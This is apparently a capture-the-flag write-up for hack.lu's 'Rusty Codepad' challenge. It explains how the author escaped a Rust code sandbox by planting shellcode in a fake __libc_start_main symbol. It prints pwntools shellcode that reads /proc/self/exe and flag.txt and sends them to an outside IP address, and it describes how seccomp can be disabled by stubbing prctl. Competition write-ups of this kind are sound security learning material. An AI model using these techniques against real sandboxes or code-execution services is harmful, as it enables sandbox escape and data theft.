Rating: 5.0

Rusty Codepad

In this challenge, one was supposed to provide a file code.rs with a function code, which would be called from a main program that looks like this:

extern crate code;
use code::code;

fn main() {
    // hidden
    code();
}

To make things more interesting, the provided code was compiled with a switch that disables all usage of unsafe, and usage of any of the include*!() macros (which could leak the contents of main.rs during compilation) was disallowed.

I first unsuccessfully tried to force a stack overflow - the Rust compiler has a static limit on the size of a stack frame, and there is no alloca/VLA support in Rust. My next idea was to use #[no_mangle] on an unsafe function and name it identically to the mangled name of code::code() which I'd mark weak to prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a symbol as weak in Rust. Then I was thinking about providing my own version of free with one that prints anything it gets that looks like a flag. However, that didn't work out because Rust by default ships with a statically linked jemalloc, so overriding a dynamically linked function is not possible.

Looking through the list of attributes, I finally came up with a working solution. The code() function is actually empty, instead I embedded some shell code in a static byte array called __libc_start_main.

#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
  ...
];

pub fn code() {}

I first used pwntools to generate some shellcode that would leak me the compiled binary so that I could find out how the flag is retrieved in the main function:


#!/usr/bin/env
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm

code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))

Because the web interface for the challenge used a fancy web terminal that was not meant to display huge amounts of binary data (and required a captcha which was hard to use from curl), I changed it to send the binary to a network socket:

code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)

Reversing this binary, I found that it just reads the flag from a file called flag.txt. So I changed the shellcode above to send this file instead of /proc/self/exe to get the flag.

Easier Solution?

Looking back, I was wondering why I even bothered with all this shell code. No unsafe code is required for reading files or opening sockets. I think, I could just have written some Rust code that does the same thing as my shellcode. Reversing the binary a bit further beyond the reference to flag.txt revealed that seccomp in strict mode was used to prevent any syscalls except read, write and _exit from working. Since our fake __libc_start_main runs instead of the normal main, this sandbox never becomes active, of course.

I guess the simplest solution would have just included an empty function for prctl to prevent seccomp from going active. Then the code::code function could have just read the flag using normal Rust code.

Original writeup (https://maltekraus.de/blog/ctf/english/2018/10/18/hack-lu.html).